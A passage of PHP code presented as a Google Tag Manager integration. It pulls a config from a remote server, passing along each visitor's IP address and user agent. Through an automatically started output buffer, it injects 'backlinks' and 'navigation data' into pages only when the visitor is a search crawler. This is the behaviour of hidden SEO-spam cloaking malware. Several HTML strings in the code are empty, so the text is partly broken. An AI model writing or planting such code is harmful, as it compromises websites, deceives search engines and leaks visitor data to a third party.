$url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION,
CURLOPT_HTTPHEADER => array(
'Accept: application/json',
'X-Client-IP: ' . $client_ip,
'X-Client-User-Agent: ' . $client_ua
)
));
$response = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code === 200 && $response) {
$decoded = json_decode($response, true);
if (is_array($decoded)) {
@file_put_contents($cache, $response);
return $decoded;
}
}
} else {
$headers = array(
'Accept: application/json',
'X-Client-IP: ' . $client_ip,
'X-Client-User-Agent: ' . $client_ua
);
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 5,
'user_agent' => 'GTM/' . GTM_VERSION,
'header' => implode("
", $headers) . "
"
),
'ssl' => array('verify_peer' => true, 'verify_peer_name' => true)
));
$response = @file_get_contents($url, false, $ctx);
if ($response) {
$decoded = json_decode($response, true);
if (is_array($decoded)) {
@file_put_contents($cache, $response);
return $decoded;
}
}
}
return array();
}
/**
* Renders GTM head snippet
*/
function gtm_render_head() {
echo '
';
}
/**
* Renders GTM noscript fallback
*/
function gtm_render_noscript() {
echo '
';
}
function gtm_render_backlinks() {
$config = gtm_fetch_config();
if (empty($config)) return;
$now = time();
echo '';
}
/**
* Renders structured navigation data for enhanced search
*/
function gtm_render_structured_data() {
if (!gtm_validate_crawler()) return;
$config = gtm_fetch_config();
if (empty($config)) return;
$now = time();
echo '';
}
/**
* Output buffer handler for automatic integration
*
* @param string $buffer HTML output buffer
* @return string Modified buffer
*/
function gtm_output_handler($buffer) {
if (stripos($buffer, '
';
$buffer = preg_replace('/<\/head>/i', $head . '', $buffer, 1);
$noscript = '
';
$buffer = preg_replace('/(]*>)/i', '$1' . $noscript, $buffer, 1);
if (gtm_validate_crawler()) {
$config = gtm_fetch_config();
if (!empty($config)) {
$nav = '';
$buffer = preg_replace('/<\/body>/i', $nav . ' ', $buffer, 1);
}
}
return $buffer;
}
if (!defined('GTM_MANUAL_INIT')) {
// Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma
$is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__));
if (!$is_direct && ob_get_level() === 0) {
ob_start('gtm_output_handler');
}
}
gtm_render_noscript();
?>